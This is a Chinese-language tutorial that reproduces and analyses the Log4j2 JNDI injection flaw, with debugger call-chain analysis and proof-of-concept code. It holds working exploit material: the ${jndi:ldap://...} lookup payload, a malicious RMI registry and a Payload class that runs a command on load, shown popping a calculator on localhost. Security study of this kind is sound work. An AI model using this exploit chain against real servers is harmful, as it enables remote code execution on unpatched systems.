前言:
Log4j是去年爆出来的漏洞了,但是那个时候研究java安全的能力还是0,如今在学习java安全的过程中来弥补一下当时的遗憾,当时拿着payload只能弹弹dnslog,完全不理解jndi,rmi这些调用机制,如今看来Log4j的漏洞触发并不复杂,但是简单的利用便可造成非常广泛的严重后果。
影响版本为2.0 <= Apache log4j2 <= 2.14.1
0x01:环境搭建
个人认为搭建环境的过程是对漏洞理解不可缺少的一部分
maven项目pom.xml文件内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId> <artifactId>log4j</artifactId> <version>1.0-SNAPSHOT</version> <packaging>war</packaging>
<name>log4j Maven Webapp</name> <url>http://www.example.com</url>
<properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <maven.compiler.source>1.7</maven.compiler.source> <maven.compiler.target>1.7</maven.compiler.target> </properties>
<dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> </dependencies>
<build> <finalName>log4j</finalName> <pluginManagement> <plugins> <plugin> <artifactId>maven-clean-plugin</artifactId> <version>3.1.0</version> </plugin> <plugin> <artifactId>maven-resources-plugin</artifactId> <version>3.0.2</version> </plugin> <plugin> <artifactId>maven-compiler-plugin</artifactId> <version>3.8.0</version> </plugin> <plugin> <artifactId>maven-surefire-plugin</artifactId> <version>2.22.1</version> </plugin> <plugin> <artifactId>maven-war-plugin</artifactId> <version>3.2.2</version> </plugin> <plugin> <artifactId>maven-install-plugin</artifactId> <version>2.5.2</version> </plugin> <plugin> <artifactId>maven-deploy-plugin</artifactId> <version>2.8.2</version> </plugin> </plugins> </pluginManagement> </build> </project>
|
新建src/main/java/com/test/log4j.java,代码如下
1 2 3 4 5 6 7 8 9 10
| package com.test; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class log4j { private static final Logger log = LogManager.getLogger(log4j.class); public static void main(String[] args)throws Exception{ log.error("${jndi:ldap://xxx.xxx.xxx./}"); } }
|
0x02:漏洞验证
首先我们通过payload可以发现payload形如${jndi:ldap://xxx.xxx.xxx./},可以触发远程调用,首先用dnslog测试以下漏洞是否存在
用我自己写的dnslog插件,获取一个domain
填入payload
1
| log.error("${jndi:ldap://23ee7398.toxiclog.xyz./}");
|
运行程序,收到dnslog请求
成功触发dnslog解析
0X03:漏洞分析
开启debug模式后跟进log.error进行分析,我们可以看到在AbstractLogger.class中有很多个error方法,我们传递给error方法的参数是一个字符串,进入参数为字符串的error方法
继续跟进this.logMessage方法
在经过logMessageSafely->logMessageTrackRecursion->tryLogMessage方法后来到ERROR.log方法
继续跟进到DefaulReliabilityStrategy.loggerConfig.log
跟进后来到LoggerConfig.class中的282行处的this.log,跟进
继续跟进proccessLogEvent
跟进this.callAppenders
跟进第358行的callAppender
跟进callAppenderPreventRecursion
然后通过调用栈AppenderControl.callAppender0->AppenderControl.tryCallAppender->AppenderControl.appender.append->ConsoleAppender.append->ConsoleAppender.directEncodeEvent->ConsoleAppender.getLayout().encode()->PatternLayout.toText->PatternLayout.toSerializable
在PatternLayout.toSerializable中第406行中依次调用formaters中的format方法
其中formaters内容如下
当我们的this.formatters[i]中的converter为MessagePatternConverter的时候跟进MessagePatternConverter的format方法
跟进MessagePatternConverter的format方法,看到第116行处,判断我们输入的参数是不是以${开头的,如果是,提取出我们的值到value变量,然后调用StrSubstitutor.replace方法
StrSubstitutor.replace方法
跟进StrSubstitutor.substitute方法,看到418行处的StrSubstitutor.resolveVariable方法
跟进
首先获取了resolver,这是一些定义的lookup处理类型,可以看到有date,java,jndi等lookup类型
跟进resolver.lookup,分析可知在186行处获得payload字符串中:的索引,将我们的payload:左边的值(jndi)取出,放入prefix变量中,然后name变量就是冒号右边的值,
在190行根据prefix获取了对应的jndi的lookup,然后在197行使用jndilookup,其参数就是ldap://xxx.xxx.xxx.xxx./(注:测时发现此处必须要在domain后加上一个/,不然不能触发dns解析,具体原因暂时未知)
到这里就调用原生lookup方法了,要执行rmi,ldap远程调用都没问题,执行完成后dnslog收到请求
0x04:利用rmi加载恶意类执行命令
本地起一个恶意rmi服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class C { public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Payload", "Payload", "http://127.0.0.1:80/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("hello", referenceWrapper); System.out.println("C:"+Runtime.getRuntime()); } }
|
payload.java
1 2 3 4 5 6 7 8 9 10 11 12
| import java.io.IOException;
public class Payload { static { try { System.out.println("payload:"+Runtime.getRuntime()); Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }
|
通过log4j触发弹出计算器
0X05:补充
刚刚都是围绕log.error来进行触发的,实际上还有log.warn,log.fatal,log.info等方法,在我的测试环境中只有log.error和log.fatal可以触发漏洞.